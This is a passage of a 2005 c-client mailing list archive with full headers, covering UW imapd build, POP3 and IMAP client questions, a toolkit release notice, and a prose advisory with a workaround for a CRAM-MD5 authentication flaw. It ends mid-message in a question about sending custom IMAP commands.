(Human contact for the list) List-Post: From: Mike Klein To: c-client@u.washington.edu Cc: Joe Locascio Subject: dynamic libraries imapd Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-PMX-Version: 4.7.0.111621, Antispam-Engine: 2.0.2.0, Antispam-Data: 2005.1.12.21 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does imapd, versions prior to the 4.61, use dynamic linking for libraries, or, are the libraries included in the executable? I'm on aix 5.2 and use gcc to do the builds. The problem revolves around libiconv! With the ibm lib, it works, but other things don't. With the opensource version, other things work, but, imapd doesn't. Is there a method to build a fully resolved module? Thanks Mike Klein Manager of System Services Loyola University New Orleans 6363 St. Charles Ave. New Orleans, LA 70118 (504) 865-3470 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 12 13:45:30 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Jan 2005 13:45:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW05.01) with ESMTP id j0CLjUNR002648 for ; Wed, 12 Jan 2005 13:45:30 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.2+UW05.01) with ESMTP id j0CLjTwH011437 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 12 Jan 2005 13:45:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with SMTP id j0CLjNAD015528; Wed, 12 Jan 2005 13:45:23 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0CLiAan078656 for ; Wed, 12 Jan 2005 13:44:10 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0CLi9Qg030747 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 12 Jan 2005 13:44:09 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW05.01) with ESMTP id j0CLi81C013643; Wed, 12 Jan 2005 13:44:09 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.2+UW05.01) with ESMTP id j0CLi8oQ020585; Wed, 12 Jan 2005 13:44:08 -0800 Message-Id: Date: Wed, 12 Jan 2005 13:44:08 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Klein Cc: c-client@u.washington.edu, Joe Locascio Subject: Re: dynamic libraries imapd In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 12 Jan 2005, Mike Klein wrote: > Does imapd, versions prior to the 4.61, use dynamic linking for libraries, > or, are the libraries included in the executable? I'm on aix 5.2 and use gcc > to do the builds. The problem revolves around libiconv! With the ibm lib, it > works, but other things don't. With the opensource version, other things > work, but, imapd doesn't. Is there a method to build a fully resolved module? We don't use libiconv in imapd at all. imapd uses the c-client library's own internationalization routines. If you are using a third party patch that requires libiconv, I suggest that you remove the patch. Perhaps the best thing is just to run unmodified UW imapd, from: ftp://ftp.cac.washington.edu/mail/imap.tar.Z Note that Pine 4.62 is expected to be released later this week. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Jan 18 18:45:56 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Jan 2005 18:45:56 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW05.01) with ESMTP id j0J2juBi018629 for ; Tue, 18 Jan 2005 18:45:56 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0J2jsl2007225 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 Jan 2005 18:45:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with SMTP id j0J2jikt015434; Tue, 18 Jan 2005 18:45:44 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0J2gV0X036320 for ; Tue, 18 Jan 2005 18:42:31 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi3.u.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j0J2gU6W009308 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 18 Jan 2005 18:42:30 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0J2gU04007024 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Jan 2005 18:42:30 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0J2gTBx029700; Tue, 18 Jan 2005 18:42:29 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0J2gTbd001774; Tue, 18 Jan 2005 18:42:29 -0800 Message-Id: Date: Tue, 18 Jan 2005 18:42:28 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Cc: IMAP Interest List Subject: University of Washington IMAP toolkit version 2004c is now available MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This note is to announce the availability of the University of Washington IMAP toolkit version 200c. This is a maintenance release with minimal user-visable changes, but some important bug fixes. Information about changes can be found in the release notes in file imap-2004c/docs/RELNOTES in the distribution. Source code for the latest IMAP toolkit release is available at: ftp://ftp.cac.washington.edu/imap/imap.tar.Z (MD5: d38ac05f2e886f8ccedcd2b5892b1df0) As with all IMAP toolkit releases, it is important that you carefully test and determine for yourself that it performs suitably in your environment before placing this new version into production use. The Pine Development Team -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jan 21 07:10:34 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 21 Jan 2005 07:10:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0LFAYuH015458 for ; Fri, 21 Jan 2005 07:10:34 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0LFAXJf029051 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 21 Jan 2005 07:10:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j0LFAP9f020232; Fri, 21 Jan 2005 07:10:25 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0LF7BID122968 for ; Fri, 21 Jan 2005 07:07:11 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0LF7AsY031379 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 21 Jan 2005 07:07:11 -0800 Received: from osprey.magnet.fsu.edu (osprey.magnet.fsu.edu [146.201.230.20]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0LF7AWn028926 for ; Fri, 21 Jan 2005 07:07:10 -0800 Received: from osprey.magnet.fsu.edu (osprey.magnet.fsu.edu [146.201.230.20]) by osprey.magnet.fsu.edu (8.12.9/8.12.9) with SMTP id j0LF6vXx011611 for ; Fri, 21 Jan 2005 10:06:57 -0500 (EST) Message-Id: <200501211506.j0LF6vXx011611@osprey.magnet.fsu.edu> Date: Fri, 21 Jan 2005 10:06:57 -0500 (EST) Reply-To: Tom Combs Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tom Combs To: c-client@CAC.Washington.EDU Subject: Eudora/ipop problem MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: e/sQt3ABeFgx70A/vGAx8w== X-OSPREY-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, This is probably a Eudora problem and the premise is lame anyway because this set up should use imap instead of pop but I'll ask anyway... When using Eudora set for -pop -leave the messages on the server or -delete after X days the deleted email is not removed from the server. Is there a configuration setting for ipopd to get this to work correctly? It does work for outlook under the same scenerio so I doubt the problem is on the server side. I know that people should be using imap if they want to leave it on the server and I will steer them in that direction. We just have a bunch of people using the above for some unknown reason and it will take awhile to get them to change. Thanks, Tom Combs -- Tom Combs E-mail: combs@magnet.fsu.edu National High Magnetic Field Laboratory Phone: (850) 644-1657 1800 E. Paul Dirac Drive Tallahassee, FL 32310 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jan 21 08:08:33 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 21 Jan 2005 08:08:32 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0LG8WLw017375 for ; Fri, 21 Jan 2005 08:08:32 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0LG8VhQ013472 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 21 Jan 2005 08:08:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j0LG8LQX014888; Fri, 21 Jan 2005 08:08:21 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0LG6xtW067472 for ; Fri, 21 Jan 2005 08:06:59 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0LG6xUH011717 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 21 Jan 2005 08:06:59 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0LG6vDM031609 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 21 Jan 2005 08:06:57 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0LG6u7Q031838; Fri, 21 Jan 2005 08:06:56 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0LG6uHc018738; Fri, 21 Jan 2005 08:06:56 -0800 Message-Id: Date: Fri, 21 Jan 2005 08:06:56 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tom Combs Cc: c-client@CAC.Washington.EDU Subject: Re: Eudora/ipop problem In-Reply-To: <200501211506.j0LF6vXx011611@osprey.magnet.fsu.edu> References: <200501211506.j0LF6vXx011611@osprey.magnet.fsu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN There is no such thing as "delete after X days" in the POP3 protocol. Nor does POP3 have an IMAP-style "mark for deletion but don't delete yet" flag that persists across sessions. You are correct, the users in question should use IMAP instead of POP3. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jan 26 11:38:53 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 Jan 2005 11:38:53 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0QJcq9v020216 for ; Wed, 26 Jan 2005 11:38:52 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0QJcpfp028671 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 26 Jan 2005 11:38:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j0QJcgOx019138; Wed, 26 Jan 2005 11:38:43 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0QJZqRf066094 for ; Wed, 26 Jan 2005 11:35:52 -0800 Received: from aesrg.tamu.edu (aesrg.tamu.edu [165.95.60.159]) by mxe5.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0QJZpoQ017265 for ; Wed, 26 Jan 2005 11:35:52 -0800 Received: from [165.95.60.199] (bmt-002.tamu.edu [165.95.60.199]) by aesrg.tamu.edu (8.12.9/8.12.9) with ESMTP id j0QJdB3i019417 for ; Wed, 26 Jan 2005 13:39:11 -0600 (CST) Message-Id: Date: Wed, 26 Jan 2005 13:35:42 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: James Medley To: c-client@u.washington.edu Subject: message status Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am using a Mac OS 10.3.x for a mail server (only about 25 clients). I used an application called Postfix Enabler to start the mail service. Postfix Enabler starts Postfix and loads the 2004 UW/IMAP release for pop3 and imap. All works well. My problem is with message status. Most of the clients check there mail on more than one machine, usually at work, then at home. Is there a way to make a message show as new when it is downloaded, no matter how many different computers it is downloaded to? Thanks for any help, Jim -- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 26 13:17:48 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 Jan 2005 13:17:48 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0QLHmvg024060 for ; Wed, 26 Jan 2005 13:17:48 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0QLHkGE011978 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 26 Jan 2005 13:17:47 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j0QLHeBG015884; Wed, 26 Jan 2005 13:17:40 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0QLF592066338 for ; Wed, 26 Jan 2005 13:15:05 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0QLF5ei004375 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 26 Jan 2005 13:15:05 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0QLF4el031840; Wed, 26 Jan 2005 13:15:04 -0800 Received: from Shimo-Tomobiki.panda.com ([70.58.77.1]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0QLEu4n025842 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 26 Jan 2005 13:15:01 -0800 Message-Id: Date: Wed, 26 Jan 2005 13:14:52 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: James Medley Cc: c-client@u.washington.edu Subject: Re: message status In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 26 Jan 2005, James Medley wrote: > I am using a Mac OS 10.3.x for a mail server (only about 25 clients). I used > an application called Postfix Enabler to start the mail service. Postfix > Enabler starts Postfix and loads the 2004 UW/IMAP release for pop3 and imap. > All works well. My problem is with message status. Most of the clients check > there mail on more than one machine, usually at work, then at home. Is there > a way to make a message show as new when it is downloaded, no matter how many > different computers it is downloaded to? Thanks for any help, Jim This is a function of the clients which you are using, and not one of the server. If an IMAP client chooses to open a mailbox read/write and mark messages as "seen", they will not be new to subsequent sessions. There is no such thing as "new" vs. "not new" in POP3. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jan 27 14:26:39 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jan 2005 14:26:39 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0RMQdWj014602 for ; Thu, 27 Jan 2005 14:26:39 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0RMQcOM020627 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 27 Jan 2005 14:26:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j0RMQSIG014140; Thu, 27 Jan 2005 14:26:29 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0RMNHSl072754 for ; Thu, 27 Jan 2005 14:23:17 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0RMNGA2002512 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 27 Jan 2005 14:23:16 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0RMNFLs018040 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 27 Jan 2005 14:23:16 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0RMNF3w001381; Thu, 27 Jan 2005 14:23:15 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0RMNEJ4003841 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 27 Jan 2005 14:23:15 -0800 Message-Id: Date: Thu, 27 Jan 2005 14:23:14 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List , pine-announce@CAC.Washington.EDU Subject: vulnerability and fix in UW imapd MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Problem: Versions of UW imapd released prior to January 4, 2005 fail to properly authenticate users when using CRAM-MD5 SASL authentication. Details: The University of Washington IMAP server features multiple user authentication methods, including the Challenge-Response Authentication Mechanism with MD5 (CRAM-MD5) as defined by RFC2195. A logic error in the code that handles CRAM-MD5 incorrectly specifies the conditions of successful authentication. This error results in a vulnerability that could allow a remote attacker to successfully authenticate as any user on the target system. Impact limitation: This vulnerability ONLY affects sites that have explicitly enabled CRAM-MD5 style authentication by creating an /etc/cram-md5.pwd file. CRAM-MD5 style authentication is NOT enabled in the default configuration of UW imapd. Consequently, sites which do not use CRAM-MD5 style authentication (the majority of UW imapd sites) are NOT vulnerable. An IMAP server which does not advertise CRAM-MD5 style authentication is NOT vulnerable. Workaround: If the site uses CRAM-MD5 style authentication, delete or rename the /etc/cram-md5.pwd file to some other name. Note that doing so will revert all passwords to those in the UNIX password system. Solution: This problem is fixed in the January 4, 2005 release version of imap-2004b and in all subsequent versions (the current release version is imap-2004c1). This problem is also fixed in the UW imapd version bundled with Pine version 4.62. The current release version of UW imapd is available at: ftp://ftp.cac.washington.edu/mail/imap.tar.Z The current release version of Pine is available at: http://www.washington.edu/pine/getpine ftp://ftp.cac.washington.edu/pine/ For more details about this issue, please refer to: http://www.kb.cert.org/vuls/id/702777 -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 27 15:38:38 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jan 2005 15:38:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j0RNcbsj017481 for ; Thu, 27 Jan 2005 15:38:37 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0RNcaRN031483 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 27 Jan 2005 15:38:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j0RNcSSW017004; Thu, 27 Jan 2005 15:38:28 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0RNagPJ019406 for ; Thu, 27 Jan 2005 15:36:43 -0800 Received: from i3smtp.i3domain.inin.com (i3smtp.inin.com [204.180.46.24]) by mxe7.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j0RNafqI003497 for ; Thu, 27 Jan 2005 15:36:42 -0800 Received: from Unknown [172.16.1.161] by i3smtp.i3domain.inin.com - SurfControl E-mail Filter (4.7); Thu, 27 Jan 2005 18:36:40 -0500 Message-Id: <260A0A30F9017945932CC4F7B911B339017865B4@i3mail1.i3domain.inin.com> Date: Thu, 27 Jan 2005 18:36:39 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Bennett, Patrick" To: Subject: How do I send custom IMAP commands with c-client ? MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--=_NextPart_ST_18_36_40_Thursday_January_27_2005_28672" Content-class: urn:content-classes:message X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_HTML 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ----=_NextPart_ST_18_36_40_Thursday_January_27_2005_28672 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable I just downloaded c-client 2004c1 and am in the early stages of deciding whether or not I'll be able to use the library. The library we currently use has worked fairly well, but it is no longer maintained and is fairly out-of-date (it doesn't support TLS for one) so I'm investigating new options. One thing that I need to support however are certain server extensions that some of our customers rely on. One extension in particular is the SunOne (formerly iPlanet) Messaging Server's "PROXYAUTH" command. It works by performing a normal login with a 'message store admin' user, then the "PROXYAUTH userid" command can be issued to effectively switch to the specified user. The benefit over the existing authuser mechanism is that the login for the administrative user doesn't have to occur in the clear (assuming SSL isn't used). Anyway, discussing the merits of their extension isn't really the issue. The reality is as a company required to integrate with a variety of IMAP servers, we pretty 